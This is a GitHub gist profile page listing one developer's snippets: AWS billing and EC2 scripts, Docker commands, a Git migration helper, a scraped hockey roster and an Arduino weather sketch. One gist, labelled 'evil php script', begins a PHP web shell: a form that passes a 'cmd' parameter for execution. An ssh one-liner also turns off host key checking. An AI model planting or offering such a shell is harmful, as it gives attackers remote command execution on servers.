Skip to content

Instantly share code, notes, and snippets.

View katzefudder's full-sized avatar
😼
I invented a timemachine next week

Florian Dehn katzefudder

😼
I invented a timemachine next week
View GitHub Profile
@katzefudder
katzefudder / costs.sh
Created January 10, 2021 12:23
fetch the last months' costs from AWS
#!/bin/bash
# displays the last month's costs in USD for tagged resources
# https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/cost-alloc-tags.html
# FIRST=$(date --date="$(date +'%Y-%m-01') - 1 month" +%s) # date on general Linux distributions
# LAST=$(date --date="$(date +'%Y-%m-01') - 1 second" +%s)
PROJECT=del2
@katzefudder
katzefudder / docker run elasticsearch
Last active June 20, 2020 09:48
Elasticsearch with images and fuzzy search
docker run --rm -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" elasticsearch:7.8.0
@katzefudder
katzefudder / gist:d6635c72182b18b6a26ab12effc44a07
Created June 13, 2020 10:11
evil php script - small helper =)
<html>
<body>
<form method="get" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="cmd" id="cmd" size="80">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@katzefudder
katzefudder / ec-bad-nauheim.txt
Last active January 22, 2020 14:03
Scrape DEL2 teams of eliteprospects using Python: scrapy
bn31 -31- Felix Bick (EC Bad Nauheim)
bn29 -29- David Böttcher (EC Bad Nauheim)
bn42 -42- Pierluigi Capo (EC Bad Nauheim)
bn53 -53- Bastian Kucis (EC Bad Nauheim)
bn85 -85- David-Lee Paton (EC Bad Nauheim)
bn19 -19- Mike Card (EC Bad Nauheim)
bn55 -55- Maximilian Glötzl (EC Bad Nauheim)
bn11 -11- Simon Gnyp (EC Bad Nauheim)
bn82 -82- Niklas Heyer (EC Bad Nauheim)
bn6 -6- Daniel Ketter (EC Bad Nauheim)
@katzefudder
katzefudder / change_git_upstream.sh
Created July 25, 2019 08:13
Changing upstream from Gitlab to Bitbucket (migration)
#!/bin/bash
function changeUpstream() {
cd /tmp && git clone --quiet $1
basename=$(basename $1)
dirname=${basename%.*}
cd $dirname
clear
echo "###### You are about to execute the following commands on $basename ######"
command1="git remote set-url origin $2"
#!/bin/bash
# create and delete maintenance
set -e
GENIEKEY=YourOpsGenieKey
INTEGRATION_ID=YourIntegrationId
MAINTENANCE_DESCRIPTION="RepositorySyncronization"
# OpsGenie expects a format like yyyy-MM-dd'T'HH:mm:ssZ) (e.g. 2017-01-15T08:00:00+02:00)
@katzefudder
katzefudder / check_ec2_tags.sh
Last active May 14, 2020 14:52
Check for a TAG on your EC2 instance in AWS
#!/bin/bash
TAG_NAME="$1"
INSTANCE_ID="`wget -qO- http://instance-data/latest/meta-data/instance-id`"
REGION="`wget -qO- http://instance-data/latest/meta-data/placement/availability-zone | sed -e 's:\([0-9][0-9]*\)[a-z]*\$:\\1:'`"
TAG_VALUE="`aws ec2 describe-tags --filters "Name=resource-id,Values=$INSTANCE_ID" "Name=key,Values=$TAG_NAME" --region $REGION --output=text | cut -f5`"
echo $TAG_VALUE
@katzefudder
katzefudder / open_terminals_linux.sh
Last active July 14, 2021 08:52
Open a terminal/ssh session on each ec2 instance available in your AWS region with this oneliner
#!/bin/bash
aws ec2 describe-instances --region eu-west-1 --filter Name=tag:Name,Values=InstanceName --query 'Reservations[].Instances[].PrivateIpAddress' --output text | xargs -I {} gnome-terminal -x ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i ~/my_keys/my-private-key.pem -o IdentitiesOnly=yes cloud-user@{}
@katzefudder
katzefudder / nodemcu.ino
Last active July 5, 2018 17:41
Amica NodeMCU Weather Project Sketch
#include <ESP8266WiFi.h>
#include <ESP8266WiFiMulti.h>
#include <WiFiUdp.h>
#include <Wire.h>
#include <Adafruit_Sensor.h>
#include <DHT_U.h>
#include <Adafruit_BMP085.h>
#include <ntp.h>
#include <TimeLib.h>
#include <ACROBOTIC_SSD1306.h>
@katzefudder
katzefudder / Dockerfile
Last active December 6, 2022 07:44
AWS CLI dockerized with Alpine Linux
FROM alpine:3.14
ENV AWSCLI_VERSION "1.20.7"
RUN apk add --update \
python3 \
python3-dev \
py-pip \
build-base \
&& pip install awscli==$AWSCLI_VERSION --upgrade --user \